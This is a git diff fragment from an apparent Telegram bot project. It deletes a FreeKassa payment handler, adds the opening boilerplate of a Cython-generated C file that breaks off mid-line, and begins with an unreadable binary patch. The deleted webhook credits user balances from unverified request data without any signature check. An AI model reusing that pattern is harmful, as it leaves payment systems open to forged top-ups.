zY;dPz-A+z0*1wkZY_{mxV#wEalv?EN!hh6|4|HtU;H_VHQ(k;88UEIEoXYW*zi#LW zb);}R$-#6~N)+)5a%{GQr#iU9QOglM*IQ40Lq60|#Oa{)G&OjL54GX>HhiKDpJBt_vf&?s z2bNPGzp;@&XTxvV@anD0PtQ0Tz8Q9j^4fuRHu61e_z)YOZ^Osh@Rz~MOP?hM_jgz~ zyKc16^MwsRX~P|uhn1HO0X96=h9}wZ6dT^#hCgb~7UZTL;nQvSN*lfz zyuAM6kd6EW8~(cu_wQJKde*n$2{yc!4gZ@B9|7K=oN@Jd8~K-Q_(B{0jt$>x!w=i= zt2Vsa{pF`yhz)lP&2zg)q~+(QxpLD+$EQ17uH4a2xe9V!1$k*ty7Thgu6D!IvNN*q z)71_lBi-2r`L4v4UhZ7dRepL-uG^JgkXM*q;BpOfXS<)u&HL|ZOmwB^xzh^VBBUZ1 z|2@q~E;Bl#+(U-v4o_PIU`-t!~dQ)ZL~LD9=I~Ia|=br_eCM?nwQtj zU64M!M|S@L6bq)EbMkTu3o^6ax&&Kqq>f6m{P$=r-zBGTNS52xIVX3t3ZrsZZtT2n+DAJrJ39w?fRd)e zujQz|^B!@nYaIeDVixcYDcpkYG1{;zG)pOq?+#G)lg zH)_xSvEjR0PqH%e3;usbb=|r!*epY-|suR$H?5AyaHEh zMngto(6Ep4*sg2+vKw#fWWao*b@;-hE`g7%IBtFbz``j9J8-M>y&` zdcbH*U;4SzGSt|p@8~|pAj>5}tHqdgcNe4<6y)_U$aC}^?Run3*UtUAc4HwKm2P=C zBN^xr$w5zgmOD+%jEumViISO(foX<&Xj);GIj}Qti^z-^^~d+EcU3M(e>2>ONREmz zrfZ{J`MK_NS3!<(blSn3%R2KdJJVLogU+%JVzeiv0rgywYFYdlexkr!wu!X)y z-S*AiJu3ESTSV#19gV`u#sJ62w9ITw3o#eX&2x(xX=X-z0vF>uYM(1j%>B6H^&Q;> zvl18TagPGG7WJ-f8M?Aq+OE`muhvV~Z_Mp6CFR-_pN3X>9ql5bN>(bxVtLuOV`*iuw9O<;_0s8@(Vl;N0 z%L!%Q(VfK{)FujsnFbAGX7;cFX+u)8GkTz5lhY*DO2JdgEHuK^4Kulig=tF*dEFL`f1w$i z?40a$F#(tAGIPzJ`j;DJO>_fNL|bz*(h5v3ybK{DTw1zI*G>bw>nj~JS5i5wWjU-> zIjps2J+iZ4@p#xhdPq)MUPhFOS??AUXp4~bX0Noo5rt;l`=&nHt84E8 zu0DMS^yt%Dls_5wegiw1zumc6?(EF`;hoa5(vXJA7{ik8{9IH5GiCe1I^z*GZ)xKy zzdJ?_W*GjOmR0D6ttZEfkSj4!d+)+lBNZ&zB|UzdN#;s4lggFY#zUr^`8!Fq8Y5h; zBoF;b9y*gebS8P|Z0YgaL!_;#-Sj9eBg10B9N|jK%o&DJiWcW<*U32I>)}G4-E??mROv z>BG|swCi+Oa`Vv$v3c?in=7nz9j|!n{0pcDflKuf|1OAeBu2Gu%T8&BS6On+!-s zW_}t>eL7&WCzJO~>dy8Og4fav$#Qp^c*{vc!w@V|+1perCMd?rf)0Y)s}kRNUlWg3 z(PWmE)x62$29YNQ{P~%~veDcd##b4)J8!u#GKTGz2OB!n-s>1p?=}mV zUK-IWBWAFGw2nWK^N8=Al19C~Q+IeDI4N2Xb_GmYt)_Q9B|a)^D4#_Zk<}CMG6I=D zY?x=D#kf)jY9y9#(uSGUW~93y%{$_Pc-2*}`P2y4$h;gEDoS3aN6XCfSQ$^4wY7J- zY3K~h%=IiuH8sWM0A|2(WWqV`_LZ3C-+WX|W(LZ>^k+03f&9e?r z6mWTEr|7#p`oO##Gq+Gc%|sR#s(W|k7p5Bve^?yJ9GYnqIGr2$n9O?>00F%F^Zemy zNv+M%O8)SiT#p|cC0#mZ{oIg<&&2`wO{EKx;>4MsuRP4`ybr+V|`Y`otcY5=^bW2Br;-v?433S>)7w9fED+XC%LqYK1sG^Cj>{f| z_NadW8bq|ps)~u*ebcaKrH@f|)3P3Rj~<2bOnF5}n0<6vutv69T7H2r`3n1xXWXoE zLZ(l)J2g*?b&SB7wHo>jo2wXKi$JnOcR3Mk zd)A;fc>E^;Yp(;Lrr~!Rh}J3)_QQ_5O`SG65UQ8B+dw3#K-i44?luH1bqHE=&faAR z+N%I)lU8}7%)1Rnf)0i<%-m%#+L&_@?2b?)C*ybNYb)*Rf0pP; z337fS!fG^Jqr1DaT`r^l_i7Rh`&T*bg4xuF0R(H&P_FlQ+<|t{QljDMEsdnYQ;WFA z9li7=+A+Dz)jJ0bkzs`sPUVoKOHKhsld|zCCya0`jFA`{ahoKnwKU(mpTfG6nd9ah z$Ls>c0LUc`#VIqJ{Qs z!o>=wtACcZTHIyNSbj+o%5_`p>MShc9wS`Ko$@;-!;$qC_8h2P78WHgufE4jA`XqZtb;~GU#`Xu)Fz#z~r{RKS54%*1kRT%(r4;h5a_;>m6KAZV9e=%f=6xNZ$G^S1Qq5`B^!LZ#oP` z1%*S0;yD5sk=?_PHdx~=z#3LoPPSn#$;eTAZ!$0xK^zL7a_B`AVBqH|wbj!&biB%|F|N8R|gTAACiao!=RHN_pkj^o^bM+sM~&vW(2?;=*!5lEwmbwST(q!iqu+^1(|x<(DpglRDsGiXS; zx{8&mer_zE<->j@=H(*TMk$fW-3#qsH>^kjqY8@z6B`(C)w@vC3$fJ!7pAd;$GpP0 zD(zIMM)5Ne%S>cpNyB|3)=1s{S(!#~U4&Fk-kzKWgY81Ze7f9gVVGZwy|ZxCJ&;5ZETj~i+-8u!(r(( zmK=~P(8^1edMhB(g7aUdgc$%)j>XasjMI3YCVlt_*HG-uNa^0QN2kuNr1(}Mbf{AO z@DvP;%&JatxO(OoxvIj1M?H-0OGc<%`zJ?MWHB4ub(9cpS;BMzh{EMr&s3;&D25vX@+#^jphP!qHb|X6{SPRlC4&d zFjA(I$Td}>`@8b9a}k8wf=$#`fi%45BeNGjf zqX@M$4r(cG14I#!wNbQ^F5yx(a)xT-AsHYoWt5na?vd#ub1m6oh@|HC*J}D8I!4-x zO_do+lPt!fWEc}+nQTV0D7+E9LTYZVn8wQ(z;LOu)QE^jvU1y^tA?oWs?9g-me|zU zc{o;g(h+&1v2}HW6&>4h#AA7=GQ+U6AnFaa+PdJKY|g#ye)N_$~lEq`B1H`@J=Y^GQkC1t>(bFkz%@8L)Qz-zbcR% zZnS$n@>Pu#<<@Y+b(-B{Gafo1Y*=A8s>aJr)n)?AkqBf}KvVMv4(Qenz^GpA3_f<{ z?JBZF$We!=v7OVfd?!*-1E!)KG|8KAd5mEnjo1oD#?uGKxyVCRtSjRJ97xul$8tzqDOvzwWmUA z^0Ea&dw;Q@jYUnDXf;rs&B=>cEirb(>OCZCEizw>kv*RCzPoTK8+2`<8E zv<1R!*!3x6oGWf2;}OULF>bVGnHtuZybGSDGX`3s4(oBEP%Tz9=`6;99xBa* zH`SUAsYp~gZnYV;dbQq03vPxA+sv>W55IUwAlJ4$i-O1?-0!R({xlK=MNG8C#z4Sh z@yY1DAuYPbUY>S229UwJNQh z(P+wHkSr(zvxnfZ#f+X}6O&3-k>-Q)G7H=Tv-8sQ=*lRL+#ZVJtE7#7i1Xg;4Y?h2 z#OIG5iK371f;{;>T>ZlS26z0h?80~~Bw+0y!Hn0)*umEv3+aY{*r()(&lsHzW%3)T zY}^qKn~O%$^TLIDdG4$<;edbTW)(Q%jX765e#Q?&r*HhgbFq$iV}EbFF~y6|%Q5zE z#Jh*{{BU>%w5cnpLrxSOh70u@UZsu1Lm@)7(2P)unMnMQ{Co!t4I_;w&*P1acW@#$ zpn%KE%UY|ZA$jg6)s@))q<$mO)K6nul;?F$dKPN6R+yJPOkS6BBEf%#!XfU9 zKXvNi68@pSBQ5IuEY~<5)XV)gcCWs146@fpoui>(Dt=u5{daxZqdJyReaEq&a%c7b zVcf5VKNbE^K3`aU-{3=^d>~T+f69F*ev40k{0S$@eSlL?oRz@ex2wx*^}o>J`FRW% zzk7t=KT6(J-%qdu6@KN9`W_DP+aB(pY9QUK?-Y6Iu!f(pV-$V}-Adm&cCWqzLZqbf z-x~jC*?lJ|=Gcbwbi_w}7jyiDd!fqe{sk}*#me|IK7GBvMfvjlsBkDY9zQ(YN3whM zovS=#2kHzj^*znvzW5O-sJ@jPJJ)9~DL&WYzJ%SY@43Mied}y*eLPf7g}%s{bR^5B~lg-$IuTKR3MUeB4KH^sVP7((?kp34s^k zPq1+19>;fkeT1y|sBiI_4E0;yk^e8}a0FOxS}q;pH4j!MG<-U(=xjk9ro z;dRj~Ivnj(LK|0i`qjq9eeB!PeGH!i&(7}%YbSPZO}~dH$%NlFLAjLQD*WnOypBNp zwz{t!D0)SQqq)jh%T8;O(<2+6AiN@ax5LVft`fqW3xpxSKw8IfMQMzw}^Nl<|*6`QD&GOv$ P`&7FBUyB3FrQ`nrn@jcq literal 0 HcmV?d00001 diff --git a/handlers/payments/freekassa_pay.py b/handlers/payments/freekassa_pay.py deleted file mode 100644 index 52b50116..00000000 --- a/handlers/payments/freekassa_pay.py +++ /dev/null @@ -1,201 +0,0 @@ -import hashlib -import hmac -import logging -import time -import uuid - -import requests -from aiogram import F, Router, types -from aiogram.fsm.context import FSMContext -from aiogram.fsm.state import State, StatesGroup -from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup -from aiogram.utils.keyboard import InlineKeyboardBuilder -from aiohttp import web -from config import FREEKASSA_API_KEY, FREEKASSA_SHOP_ID - -from database import add_payment, update_balance -from handlers.payments.utils import send_payment_success_notification -from handlers.texts import PAYMENT_OPTIONS - -router = Router() -logging.basicConfig(level=logging.DEBUG) - - -class ReplenishBalanceState(StatesGroup): - choosing_amount_freekassa = State() - waiting_for_payment_confirmation_freekassa = State() - entering_custom_amount_freekassa = State() - - -def generate_signature(params, api_key): - sorted_params = {k: params[k] for k in sorted(params)} - sign_string = "|".join(str(value) for value in sorted_params.values()) - return hmac.new(api_key.encode(), sign_string.encode(), hashlib.sha256).hexdigest() - - -async def create_payment(user_id, amount, email, ip): - payment_id = str(uuid.uuid4()) - nonce = int(time.time() * 1000) - params = { - "shopId": FREEKASSA_SHOP_ID, - "amount": amount, - "currency": "RUB", - "paymentId": payment_id, - "email": email, - "ip": ip, - "i": 6, - "nonce": nonce, - } - params["signature"] = generate_signature(params, FREEKASSA_API_KEY) - - try: - response = requests.post( - "https://api.freekassa.com/v1/orders/create", json=params - ) - response_data = response.json() - - logging.debug(f"Ответ от FreeKassa при создании платежа: {response_data}") - - if response_data.get("type") == "success": - return response_data["location"] - else: - logging.error(f"Ошибка создания платежа: {response_data}") - return None - - except Exception as e: - logging.error(f"Ошибка запроса к FreeKassa: {e}") - return None - - -async def freekassa_webhook(request): - data = await request.json() - logging.debug(f"Получен вебхук от FreeKassa: {data}") - - logging.debug(f"Данные вебхука от FreeKassa: {data}") - - if data["status"] == "completed": - user_id = data["metadata"]["user_id"] - amount = float(data["amount"]) - await add_payment(int(user_id), float(amount), "freekassa") - - await update_balance(user_id, amount) - await send_payment_success_notification(user_id, amount) - - return web.Response(status=200) - - -@router.callback_query(lambda c: c.data == "pay_freekassa") -async def process_callback_pay_freekassa( - callback_query: types.CallbackQuery, state: FSMContext -): - builder = InlineKeyboardBuilder() - for i in range(0, len(PAYMENT_OPTIONS), 2): - if i + 1 < len(PAYMENT_OPTIONS): - builder.row( - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i]["text"], - callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', - ), - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i + 1]["text"], - callback_data=f'freekassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - ), - ) - else: - builder.row( - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i]["text"], - callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', - ) - ) - builder.row( - InlineKeyboardButton( - text="💰 Ввести свою сумму", - callback_data="enter_custom_amount_freekassa", - ) - ) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data="pay")) - - await callback_query.message.answer( - text="Выберите сумму пополнения через FreeKassa:", - reply_markup=builder.as_markup(), - ) - - await state.set_state(ReplenishBalanceState.choosing_amount_freekassa) - - -@router.callback_query(F.data.startswith("freekassa_amount|")) -async def process_amount_selection( - callback_query: types.CallbackQuery, state: FSMContext -): - data = callback_query.data.split("|", 1) - amount_str = data[1] - try: - amount = int(amount_str) - except ValueError: - await callback_query.message.answer("Некорректная сумма.") - return - - user_email = f"{callback_query.message.chat.id}@solo.net" - user_ip = callback_query.message.chat.id - payment_url = await create_payment( - callback_query.message.chat.id, amount, user_email, user_ip - ) - - if payment_url: - confirm_keyboard = InlineKeyboardMarkup( - inline_keyboard=[ - [ - InlineKeyboardButton( - text=f"Оплатить {amount} рублей", url=payment_url - ) - ], - [InlineKeyboardButton(text="⬅️ Назад", callback_data="pay")], - ] - ) - - await callback_query.message.answer( - f"Вы выбрали оплату на {amount} рублей. Перейдите по ссылке для завершения оплаты:", - reply_markup=confirm_keyboard, - ) - else: - await callback_query.message.answer( - "Ошибка при создании платежа. Попробуйте позже.", - ) - - -@router.callback_query(F.data == "enter_custom_amount_freekassa") -async def process_enter_custom_amount( - callback_query: types.CallbackQuery, state: FSMContext -): - await callback_query.message.answer(text="Введите сумму пополнения:") - await state.set_state(ReplenishBalanceState.entering_custom_amount_freekassa) - - -@router.message(ReplenishBalanceState.entering_custom_amount_freekassa) -async def process_custom_amount_input(message: types.Message, state: FSMContext): - if message.text.isdigit(): - amount = int(message.text) - if amount <= 0: - await message.answer( - "Сумма должна быть больше нуля. Пожалуйста, введите сумму еще раз:" - ) - return - - user_email = f"{message.chat.id}@solo.net" - user_ip = message.chat.id - payment_url = await create_payment(message.chat.id, amount, user_email, user_ip) - - if payment_url: - keyboard = InlineKeyboardMarkup( - inline_keyboard=[[InlineKeyboardButton("Оплатить", url=payment_url)]] - ) - await message.answer( - f"Вы выбрали оплату на {amount} рублей. Перейдите по ссылке для завершения оплаты:", - reply_markup=keyboard, - ) - else: - await message.answer("Ошибка при создании платежа. Попробуйте позже.") - - else: - await message.answer("Пожалуйста, введите корректную сумму.") diff --git a/handlers/payments/gift.c b/handlers/payments/gift.c new file mode 100644 index 00000000..a98a4d38 --- /dev/null +++ b/handlers/payments/gift.c @@ -0,0 +1,19616 @@ +/* Generated by Cython 3.0.11 */ + +/* BEGIN: Cython Metadata +{ + "distutils": { + "name": "handlers.payments.gift", + "sources": [ + "handlers/payments/gift.py" + ] + }, + "module_name": "handlers.payments.gift" +} +END: Cython Metadata */ + +#ifndef PY_SSIZE_T_CLEAN +#define PY_SSIZE_T_CLEAN +#endif /* PY_SSIZE_T_CLEAN */ +#if defined(CYTHON_LIMITED_API) && 0 + #ifndef Py_LIMITED_API + #if CYTHON_LIMITED_API+0 > 0x03030000 + #define Py_LIMITED_API CYTHON_LIMITED_API + #else + #define Py_LIMITED_API 0x03030000 + #endif + #endif +#endif + +#include "Python.h" +#ifndef Py_PYTHON_H + #error Python headers needed to compile C extensions, please install development version of Python. +#elif PY_VERSION_HEX < 0x02070000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03030000) + #error Cython requires Python 2.7+ or Python 3.3+. +#else +#if defined(CYTHON_LIMITED_API) && CYTHON_LIMITED_API +#define __PYX_EXTRA_ABI_MODULE_NAME "limited" +#else +#define __PYX_EXTRA_ABI_MODULE_NAME "" +#endif +#define CYTHON_ABI "3_0_11" __PYX_EXTRA_ABI_MODULE_NAME +#define __PYX_ABI_MODULE_NAME "_cython_" CYTHON_ABI +#define __PYX_TYPE_MODULE_PREFIX __PYX_ABI_MODULE_NAME "." +#define CYTHON_HEX_VERSION 0x03000BF0 +#define CYTHON_FUTURE_DIVISION 1 +#include +#ifndef offsetof + #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) +#endif +#if !defined(_WIN32) && !defined(WIN32) && !defined(MS_WINDOWS) + #ifndef __stdcall + #define __stdcall + #endif + #ifndef __cdecl + #define __cdecl + #endif + #ifndef __fastcall + #define __fastcall + #endif +#endif +#ifndef DL_IMPORT + #define DL_IMPORT(t) t +#endif +#ifndef DL_EXPORT + #define DL_EXPORT(t) t +#endif +#define __PYX_COMMA , +#ifndef HAVE_LONG_LONG + #define HAVE_LONG_LONG +#endif +#ifndef PY_LONG_LONG + #define PY_LONG_LONG LONG_LONG +#endif +#ifndef Py_HUGE_VAL + #define Py_HUGE_VAL HUGE_VAL +#endif +#define __PYX_LIMITED_VERSION_HEX PY_VERSION_HEX +#if defined(GRAALVM_PYTHON) + /* For very preliminary testing purposes. Most variables are set the same as PyPy. + The existence of this section does not imply that anything works or is even tested */ + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 1 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(PYPY_VERSION) + #define CYTHON_COMPILING_IN_PYPY 1 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #if PY_VERSION_HEX < 0x03090000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE (PY_VERSION_HEX >= 0x030400a1 && PYPY_VERSION_NUM >= 0x07030C00) + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(CYTHON_LIMITED_API) + #ifdef Py_LIMITED_API + #undef __PYX_LIMITED_VERSION_HEX + #define __PYX_LIMITED_VERSION_HEX Py_LIMITED_API + #endif + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 1 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_CLINE_IN_TRACEBACK + #define CYTHON_CLINE_IN_TRACEBACK 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 1 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #endif + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 1 + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(Py_GIL_DISABLED) || defined(Py_NOGIL) + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 1 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #ifndef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #ifndef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 1 + #endif + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS 1 + #endif + #ifndef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #ifndef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #endif + #ifndef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 1 + #endif + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 1 + #endif + #ifndef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 + #endif +#else + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 1 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #ifndef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 1 + #endif + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #ifndef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 1 + #endif + #if PY_MAJOR_VERSION < 3 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #ifndef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 1 + #endif + #ifndef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 1 + #endif + #ifndef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 1 + #endif + #if PY_VERSION_HEX < 0x030300F0 || PY_VERSION_HEX >= 0x030B00A2 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #elif !defined(CYTHON_USE_UNICODE_WRITER) + #define CYTHON_USE_UNICODE_WRITER 1 + #endif + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #ifndef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 1 + #endif + #ifndef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 1 + #endif + #ifndef 